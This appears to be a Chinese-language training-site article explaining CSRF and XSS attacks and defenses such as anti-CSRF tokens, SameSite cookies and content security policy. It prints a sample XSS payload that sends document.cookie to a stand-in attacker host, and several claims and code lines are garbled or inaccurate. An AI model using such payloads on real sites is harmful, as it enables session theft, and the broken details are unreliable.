网工干货知识

超全学习笔记
当前位置:首页 > 干货知识

如何降低遭受 CSRF、XSRF 或 XSS 攻击的风险?

更新时间:2026年03月27日   作者:spoto   标签(Tag):

跨站请求伪造(CSRF)是一种Web应用程序安全漏洞。攻击者通过这种手段,诱使已登录用户的终端执行不希望发生的操作。CSRF还有其他名称,如XSRF、sea surf、session riding、cross-site reference forgery等。利用社会工程学手段,攻击者可以诱使Web应用程序的受害者执行攻击者所指定的恶意操作。

如果受害者只是普通的用户,那么成功的 CSRF 攻击可以使得用户自行执行一些需要改变状态的操作,比如转账、更改电子邮件地址、更换手机号码等。而如果受害者是该网络应用程序的管理员,那么整个网络应用程序都可能受到威胁。

 

跨站脚本攻击,也被称为XSS。这是一种非常常见且危险的漏洞,大多数黑客都喜欢利用这种漏洞来攻击目标网站。XSS是一种网络安全漏洞,攻击者可以利用这种漏洞完全控制受攻击的网站。如果受害者在被攻击的网站上拥有较高的权限,那么攻击者就可以完全控制该网站了。

XSS漏洞的主要目的就是窃取受害者的身份信息。XSS漏洞本质上是一种JavaScript技术所引发的漏洞。这种漏洞的产生,是因为开发人员没有充分注意对用户输入的过滤工作。

XSS攻击的类型:

  • 反射式 XSS 攻击:每当攻击者执行该恶意脚本时,就会立即从Web应用程序中收到响应。这是一种非持久性的攻击方式。反射型XSS的严重程度为P3,其CVSS评分为5.8,属于中等级别。
  • 存储式的XSS攻击:所谓“存储型XSS”,指的是恶意脚本被存储在网站的数据库中,从而能够在每次网页加载时触发该脚本的执行。因此,这是一种持续性的XSS攻击方式。与“反射型XSS”相比,存储型XSS的威胁更为严重。存储型XSS的严重程度为P2级,其CVSS评分为7-8.9,属于高风险类型。
  • DOM XSS:这种漏洞存在于客户端代码中,而非服务器端代码中。在DOM XSS攻击中,恶意的用户输入会进入源代码中,然后再从代码中输出出来。DOM XSS的严重程度为P1级,其CVSS评分为10分,属于严重级别。

一个简单的XSS攻击载荷如下所示:

<script>alert(document.cookies())</script>
<script>document.location.href=”
attackers.website/cookie=”>+document.cookie</script>

防止CSRF和XSS攻击:

反CSRF令牌:

  • 使用与特定用户相关联的令牌,该令牌可以作为隐藏值存在于所有用于状态更改的表单中。这种令牌被称为 CSRF 令牌。
  • CSRF令牌的内容应该是:
    • 具有高度的不确定性,属于高熵状态。
    • 与用户的会话状态相关联。
    • 在相关行动执行之前,必须严格进行验证。

同一站点上的Cookie:

  • CSRF现象发生在受害者点击了攻击者控制的网站“attacker.com”时,此时请求会发送到“bank.com”,同时也会携带受害者的会话ID信息。这实际上是一种跨站通信行为,因为请求是从第三方网站如“xyz.com”发出的,而请求最终被发送到“abc.com”。
  • 那么,如果我们不提供 session_id 的话,他们就完全没有机会进行授权了。而 CSRF 则可以防止这种情况发生。此外,该功能还支持在同一网站上的 Cookie 使用。
  • 同一个网站的Cookie,只有在请求来自该网站时才会被发送。如果请求来自第三方网站,那么该Cookie就不会被附加到请求中。
  • 有三种方式可以设置相同的站点属性:None、Lax和Strict。
  • 默认情况下,不会启用任何限制。可以选择“宽松”模式来应对顶级导航栏的访问情况,或者选择“严格”模式来限制向第三方网站发送的Cookie数据。不过,严格模式下的设置是禁用的。
Set-Cookie: SessionId=NJCVnjnfCUrAfjoKkojDOOknKOkncKfmKDm; 
SameSite=Strict; 
Set-Cookie: SessionId=NJCVnjnfCUrAfjoKkojDOOknKOkncKfmKDm; 
SameSite=Lax;

XSS防御技术:

  • 在数据到达时对其进行过滤处理
  • 将数据编码后输出。
  • 使用合适的响应头信息。
  • 内容安全策略
  • 实施Web应用防火墙

降低暴露风险:

  • 如果无法识别发件人,切勿打开带有附件的邮件。
  • 当某个附件看起来不可信时,或者你并没有要求打开该附件时,千万不要打开它。
  • 始终在使用该网站时退出登录状态,因为这些网站需要存储与金钱交易相关的敏感数据。
  • 请务必使用最新版本的浏览器。切勿使用旧版本的浏览器,因为旧版本浏览器可能存在尚未被修复的漏洞。
  • 请不要让您的浏览器自动保存您的凭据和个人信息,从而完成表单的自动填写操作。
  • 请定期清理浏览器中的数据和缓存信息。
  • 可以使用一些浏览器扩展程序,比如“无脚本”功能(适用于 Firefox 和 Chrome)。这种扩展可以阻止那些不在可信列表中的网站执行 JavaScript 代码。
              马上抢免费试听资格
意向课程:*必选
姓名:*必填
联系方式:*必填
QQ:
思博SPOTO在线咨询

相关资讯

即刻预约

免费试听-咨询课程-获取免费资料